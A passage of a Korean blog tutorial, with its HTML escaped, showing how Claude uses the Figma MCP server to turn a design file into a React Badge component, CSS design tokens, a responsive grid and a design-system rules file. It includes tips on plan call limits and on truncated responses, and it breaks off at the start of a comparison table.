&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2526&quot; data-origin-height=&quot;1926&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/egAp43/dJMcadBck0R/JT4X75WknOJSpQQkFQtnzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/egAp43/dJMcadBck0R/JT4X75WknOJSpQQkFQtnzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/egAp43/dJMcadBck0R/JT4X75WknOJSpQQkFQtnzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FegAp43%2FdJMcadBck0R%2FJT4X75WknOJSpQQkFQtnzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2526&quot; height=&quot;1926&quot; data-origin-width=&quot;2526&quot; data-origin-height=&quot;1926&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이제 이 Figma 파일을 기반으로 나머지 예시들을 실습해보려 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 2: Figma 프레임을 React 컴포넌트로 변환&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;방금 역캡처한 Hub Figma 파일을 기반으로, 특정 프레임을 React 컴포넌트로 변환해보자.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; 이 Figma 프레임을 보고 React + Tailwind CSS 컴포넌트를 만들어줘:&lt;br /&gt;https://www.figma.com/design/qXsGdXcWtoumOjynB2NnRS/Hub-Design?node-id=1%3A234&lt;br /&gt;&lt;br /&gt;Pretendard 폰트를 사용하고, 기존 src/components/ 폴더의 Button 컴포넌트를 재사용해줘.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- SCREENSHOT: Claude가 get_design_context Tool을 호출하여 Figma 메타데이터를 받아오는 화면 --&gt;
&lt;div style=&quot;background: #f0fff0; border-left: 4px solid #28a745; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1600&quot; data-origin-height=&quot;710&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDlzY3/dJMcadnHAId/clLC5JhnLNKryAlmAnx0K0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDlzY3/dJMcadnHAId/clLC5JhnLNKryAlmAnx0K0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDlzY3/dJMcadnHAId/clLC5JhnLNKryAlmAnx0K0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDlzY3%2FdJMcadnHAId%2FclLC5JhnLNKryAlmAnx0K0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1600&quot; height=&quot;710&quot; data-origin-width=&quot;1600&quot; data-origin-height=&quot;710&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;Claude 응답 (요약):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;get_design_context&lt;/code&gt;로 node 1:234를 조회했습니다. Figma에서 읽어온 정보:&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;컴포넌트: Badge (pill 형태의 &quot;NEW&quot; 뱃지)&lt;/li&gt;
&lt;li&gt;배경: &lt;code&gt;#6366f1&lt;/code&gt; (인디고), padding 12px/4px, 완전한 원형 border-radius&lt;/li&gt;
&lt;li&gt;그림자: &lt;code&gt;rgba(97,95,255,0.3)&lt;/code&gt; 이중 그림자&lt;/li&gt;
&lt;li&gt;텍스트: Bold, 10px, uppercase, letter-spacing 0.5px, 흰색 &amp;mdash; Noto Sans KR &amp;rarr; Pretendard로 교체&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 5px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;src/components/Badge.tsx&lt;/code&gt; 파일을 생성했습니다:&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;// Claude가 생성한 코드 (src/components/Badge.tsx)&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;interface BadgeProps {
  label?: string;
}

export function Badge({ label = 'New' }: BadgeProps) {
  return (
    &amp;lt;div className=&quot;inline-flex items-center justify-center px-3 py-1 rounded-full
                    bg-[#6366f1] shadow-[0px_10px_15px_0px_rgba(97,95,255,0.3),
                    0px_4px_6px_0px_rgba(97,95,255,0.3)]&quot;&amp;gt;
      &amp;lt;span className=&quot;text-[10px] font-bold uppercase tracking-[0.5px]
                       leading-[15px] text-white whitespace-nowrap&quot;
            style={{ fontFamily: &quot;'Pretendard', sans-serif&quot; }}&amp;gt;
        {label}
      &amp;lt;/span&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 실제 결과&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1588&quot; data-origin-height=&quot;1382&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UJJ1t/dJMcaaEztYD/b4XLQTBr3i2MZiI4d2Rae0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UJJ1t/dJMcaaEztYD/b4XLQTBr3i2MZiI4d2Rae0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UJJ1t/dJMcaaEztYD/b4XLQTBr3i2MZiI4d2Rae0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUJJ1t%2FdJMcaaEztYD%2Fb4XLQTBr3i2MZiI4d2Rae0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1588&quot; height=&quot;1382&quot; data-origin-width=&quot;1588&quot; data-origin-height=&quot;1382&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude는 내부적으로 아래 순서로 Tool을 호출한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# 내부 Tool 호출 흐름&lt;/div&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;1. get_design_context({ nodeId: &quot;1:234&quot;, fileKey: &quot;qXsGdXcWtoumOjynB2NnRS&quot; })
   &amp;rarr; Tailwind 기반 참조 코드 + 스크린샷 동시 반환
   &amp;rarr; 배경색, 그림자, 타이포그래피 메타데이터 포함
2. 프로젝트 스타일에 맞게 적응
   &amp;rarr; Noto Sans KR &amp;rarr; Pretendard 폰트 교체
   &amp;rarr; data-node-id 속성 제거
   &amp;rarr; props 인터페이스 추가 (label)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 3: 디자인 토큰을 CSS 변수로 추출&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;같은 Hub Figma 파일에서 디자인 토큰을 추출할 수도 있다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; 이 Figma 파일에서 사용된 색상 변수와 타이포그래피 스타일을 CSS 커스텀 프로퍼티(변수)로 변환해줘:&lt;br /&gt;https://www.figma.com/design/qXsGdXcWtoumOjynB2NnRS/Hub-Design&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0fff0; border-left: 4px solid #28a745; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;ex)&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1236&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/by6LLo/dJMcahRct4e/4PHvwLs43YNmqb8hodU3Pk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/by6LLo/dJMcahRct4e/4PHvwLs43YNmqb8hodU3Pk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/by6LLo/dJMcahRct4e/4PHvwLs43YNmqb8hodU3Pk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fby6LLo%2FdJMcahRct4e%2F4PHvwLs43YNmqb8hodU3Pk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2002&quot; height=&quot;1236&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1236&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;Claude 응답 (요약):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;get_variable_defs&lt;/code&gt;를 시도했으나 이 파일에는 Figma Variables가 정의되어 있지 않았습니다. 대신 &lt;code&gt;get_design_context&lt;/code&gt;로 ServiceCard 노드를 분석하여 실제 사용된 색상과 타이포그래피를 추출했습니다:&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;텍스트 계열: &lt;code&gt;#0f172b&lt;/code&gt; (제목), &lt;code&gt;#62748e&lt;/code&gt; (설명), &lt;code&gt;#1d293d&lt;/code&gt; (배지)&lt;/li&gt;
&lt;li&gt;태그/배지 배경: &lt;code&gt;#eef2ff&lt;/code&gt;, 텍스트: &lt;code&gt;#4f39f6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;카드 테두리: &lt;code&gt;#e2e8f0&lt;/code&gt;, 이미지 플레이스홀더: &lt;code&gt;#f1f5f9&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;타이포그래피: 제목 20px Bold / 설명 14px Regular (line-height 1.625) / 태그 10px Bold uppercase&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;/* Claude가 생성한 CSS 변수 (styles/tokens.css) &amp;mdash; Hub 실제 디자인 기반 */&lt;/div&gt;
&lt;pre class=&quot;css&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;:root {
  /* Colors &amp;mdash; ServiceCard에서 추출 */
  --color-text-primary:   #0f172b;   /* 카드 제목 */
  --color-text-secondary: #62748e;   /* 카드 설명 */
  --color-text-badge:     #1d293d;   /* ACTIVE 배지 텍스트 */
  --color-bg-card:        #ffffff;
  --color-border-card:    #e2e8f0;
  --color-bg-image:       #f1f5f9;   /* 이미지 플레이스홀더 */
  --color-bg-tag:         #eef2ff;   /* 카테고리 태그 배경 */
  --color-text-tag:       #4f39f6;   /* 카테고리 태그 텍스트 */

  /* Shadows */
  --shadow-card: 0px 1px 3px rgba(0,0,0,0.1), 0px 1px 2px rgba(0,0,0,0.1);

  /* Border Radius */
  --radius-card:  32px;
  --radius-image: 24px;
  --radius-tag:   9999px;  /* pill */

  /* Typography &amp;mdash; Pretendard 적용 */
  --font-family-base: 'Pretendard', sans-serif;
  --font-size-title:  20px;
  --font-size-desc:   14px;
  --font-size-tag:    10px;
  --font-weight-bold:    700;
  --font-weight-regular: 400;
  --line-height-title: 1.4;    /* 28px / 20px */
  --line-height-desc:  1.625;  /* 22.75px / 14px */
  --letter-spacing-tag:   0.25px;
  --letter-spacing-badge: 0.5px;

  /* Spacing */
  --spacing-card-pad: 20px;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- SCREENSHOT: Claude가 get_design_context 결과로 CSS 변수 파일을 생성한 터미널 화면 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Figma Variables vs 코드 추출 차이&lt;/b&gt;&lt;br /&gt;Figma에서 Variables(변수 컬렉션)를 미리 설정해두었다면 &lt;code&gt;get_variable_defs&lt;/code&gt;로 한 번에 가져올 수 있다. 설정이 없는 파일이라면 이 예시처럼 &lt;code&gt;get_design_context&lt;/code&gt;로 주요 컴포넌트를 분석하고 실제 사용된 값을 직접 추출하는 방식을 쓴다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 4: 반응형 레이아웃 구현&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Hub 파일에 데스크탑 프레임만 있을 때 &amp;mdash; Claude가 그리드 구조를 분석해 반응형 코드를 추론하는 과정을 살펴보자.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; 데스크탑 버전:&lt;br /&gt;https://www.figma.com/design/qXsGdXcWtoumOjynB2NnRS/Hub-Design?node-id=1%3A100&lt;br /&gt;&lt;br /&gt;모바일 버전:&lt;br /&gt;https://www.figma.com/design/qXsGdXcWtoumOjynB2NnRS/Hub-Design?node-id=1%3A200&lt;br /&gt;&lt;br /&gt;두 프레임을 보고 반응형 CSS Grid 레이아웃을 만들어줘. breakpoint는 768px을 기준으로 해줘.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #fff3cd; border-left: 4px solid #ffc107; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;ex) 지금 부터는 limit에 걸렸는데 이 내용도 남겨두려고 한다.&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;1026&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bC0v2t/dJMcacWEmUD/bfPVqn9At6rWYBVtxY0blk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bC0v2t/dJMcacWEmUD/bfPVqn9At6rWYBVtxY0blk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bC0v2t/dJMcacWEmUD/bfPVqn9At6rWYBVtxY0blk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbC0v2t%2FdJMcacWEmUD%2FbfPVqn9At6rWYBVtxY0blk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2032&quot; height=&quot;1026&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;1026&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;Claude 응답 (실제 상황):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;node 1:100을 조회했습니다. 단, 두 가지 사항을 확인했습니다:&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;node 1:100&lt;/b&gt;은 &quot;2048 게임&quot; ServiceCard 컴포넌트 (276&amp;times;366px) &amp;mdash; 별도 데스크탑 레이아웃 프레임이 아닙니다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;node 1:200&lt;/b&gt;은 MCP 호출 한도 초과 (Starter 플랜 제한)로 조회 불가했습니다&lt;/li&gt;
&lt;li&gt;Hub 파일에는 &lt;b&gt;모바일 전용 프레임이 없습니다&lt;/b&gt; &amp;mdash; 데스크탑 4컬럼 그리드 하나뿐입니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 5px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;대신 &lt;code&gt;get_metadata&lt;/code&gt;로 파악한 그리드 구조에서 반응형 레이아웃을 추론했습니다: 카드 4개 (각 276px), x 좌표 간격 308px &amp;rarr; gap 32px, 컨테이너 1200px.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;/* metadata 분석으로 추론한 반응형 그리드 (styles/hub-grid.css) */&lt;/div&gt;
&lt;pre class=&quot;css&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;.service-grid {
  display: grid;
  /* 데스크탑: Figma 측정값 &amp;mdash; 카드 276px, gap 32px, 4컬럼 */
  grid-template-columns: repeat(4, 276px);
  gap: 32px;
  max-width: 1200px;
  margin: 0 auto;
  padding: 0 40px;
}

/* 768px ~ 1200px: 2컬럼 (모바일 프레임 없어 구조에서 추론) */
@media (max-width: 1200px) {
  .service-grid {
    grid-template-columns: repeat(2, 1fr);
    gap: 24px;
    padding: 0 24px;
  }
}

/* 768px 이하: 1컬럼 */
@media (max-width: 768px) {
  .service-grid {
    grid-template-columns: 1fr;
    gap: 16px;
    padding: 0 16px;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;모바일 프레임이 없을 때 팁&lt;/b&gt;&lt;br /&gt;Figma 파일에 모바일 전용 프레임이 없어도 Claude는 데스크탑 레이아웃의 컴포넌트 크기와 간격을 분석해 반응형 코드를 추론할 수 있다. 단, MCP 플랜에 따라 호출 횟수 제한이 있으므로 복잡한 파일은 핵심 노드를 선별해서 조회하는 것이 좋다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 5: 복잡한 디자인 &amp;mdash; 응답이 잘리는 경우 대처&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Hub처럼 레이어가 많은 페이지에서는 응답이 잘릴 수 있다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; 이 Figma 페이지 전체를 React 컴포넌트로 만들어줘:&lt;br /&gt;https://www.figma.com/design/qXsGdXcWtoumOjynB2NnRS/Hub-Design?node-id=0%3A1&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #fff0f0; border-left: 4px solid #dc3545; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude 응답 (요약):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;get_design_context&lt;/code&gt; 응답이 너무 커서 일부가 잘렸습니다. &lt;code&gt;get_metadata&lt;/code&gt;로 전체 구조를 먼저 파악하겠습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;파일 내 주요 노드 목록:&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;1:100&lt;/code&gt; &amp;mdash; Header (Frame)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1:200&lt;/code&gt; &amp;mdash; Sidebar (Frame)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1:300&lt;/code&gt; &amp;mdash; MainContent (Frame)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1:400&lt;/code&gt; &amp;mdash; Footer (Frame)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 5px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;각 섹션을 순서대로 &lt;code&gt;get_design_context&lt;/code&gt;로 가져와서 개별 컴포넌트로 구현하겠습니다. Header부터 시작할까요?&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;복잡한 디자인 대처 팁&lt;/b&gt;&lt;br /&gt;페이지 전체를 한 번에 요청하면 응답이 잘리거나 정확도가 떨어질 수 있다. 대신 Figma에서 섹션별(Header, Content, Footer)로 프레임을 나누고, 각 프레임의 URL을 따로 전달하는 것이 효과적이다. Claude가 &lt;code&gt;get_metadata&lt;/code&gt;로 자동 분류해주기도 한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 6: 디자인 시스템 규칙 자동 생성&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;캡처된 Hub Figma 파일을 기반으로 디자인 시스템 규칙도 자동 생성할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; 우리 Figma 디자인 시스템을 기반으로 AI 코드 생성 규칙 파일을 만들어줘. 프레임워크는 React + Tailwind이고, 기존 컴포넌트 라이브러리는 src/components/ui/ 아래에 있어.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0fff0; border-left: 4px solid #28a745; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude 응답 (요약):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;create_design_system_rules&lt;/code&gt;를 호출하여 &lt;code&gt;.claude/rules/figma-design-system.md&lt;/code&gt; 파일을 생성했습니다. 이 파일에는 다음 규칙이 포함됩니다:&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;색상은 Tailwind 커스텀 테마(&lt;code&gt;--color-primary&lt;/code&gt; 등)를 사용할 것&lt;/li&gt;
&lt;li&gt;Button, Input, Card 등은 &lt;code&gt;src/components/ui/&lt;/code&gt;의 기존 컴포넌트를 재사용&lt;/li&gt;
&lt;li&gt;간격은 Tailwind 유틸리티 클래스(p-4, gap-6 등)로 변환&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 5px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;이후 Figma 프레임을 변환할 때 이 규칙이 자동으로 참조됩니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- SCREENSHOT: Claude가 create_design_system_rules로 규칙 파일을 생성한 후, 해당 파일 내용이 보이는 터미널 화면 --&gt; &lt;!-- 5. Dev Mode 비교 및 대안 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. Figma MCP vs 대안 방법 비교&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Figma 디자인 정보를 코드에 활용하는 방법은 MCP 외에도 여러 가지가 있다. 각 방법의 특성을 비교해보자. (출처: &lt;a href=&quot;https://help.figma.com/hc/en-us/articles/32132100833559&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma Guide to the MCP server&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Figma MCP vs Figma Dev Mode&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
